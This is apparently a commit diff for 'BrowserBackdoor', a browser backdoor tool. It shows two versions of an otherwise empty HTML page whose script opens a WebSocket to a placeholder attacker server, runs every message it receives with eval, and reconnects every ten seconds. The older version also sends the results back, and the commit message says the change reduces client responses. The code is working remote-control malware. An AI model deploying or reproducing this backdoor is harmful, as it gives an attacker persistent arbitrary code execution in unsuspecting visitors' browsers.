<!DOCTYPE html>
<html>
<head>
    <script>
    /*
     * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
     * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor
     * See the file 'LICENSE' for copying permission
     */
    (function connect() {
        if ("WebSocket" in window)
        {
            // Change host and port to where you're hosting
            // the WebSocket server.
            // Also change ws:// to wss:// if secure is enabled on the
            // server.
            ws = new WebSocket("ws://your-server-here:1234");
            ws.onmessage = function(evt)
            {
                if (ws.readyState === 1) {
                    // Send the result of eval'ing the remote message.
                    ws.send(eval(evt.data));
                }
            };
            ws.onclose = function()
            {
                // Reconnect after 10 seconds.
                setTimeout(connect, 10000);
            };
       }
    })();
    </script>
</head>
<body>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
    <script>
    /*
     * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
     * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor
     * See the file 'LICENSE' for copying permission
     */
    (function connect() {
        if ("WebSocket" in window)
        {
            // Change host and port to where you're hosting
            // the WebSocket server.
            // Also change ws:// to wss:// if secure is enabled on the
            // server.
            ws = new WebSocket("ws://your-server-here:1234");
            ws.onmessage = function(evt)
            {
                if (ws.readyState === 1) {
                    // eval the remote message.
                    eval(evt.data);
                }
            };
            ws.onclose = function()
            {
                // Reconnect after 10 seconds.
                setTimeout(connect, 10000);
            };
       }
    })();
    </script>
</head>
<body>
</body>
</html>

Reduce excess responses from client
Reduce excess responses from client
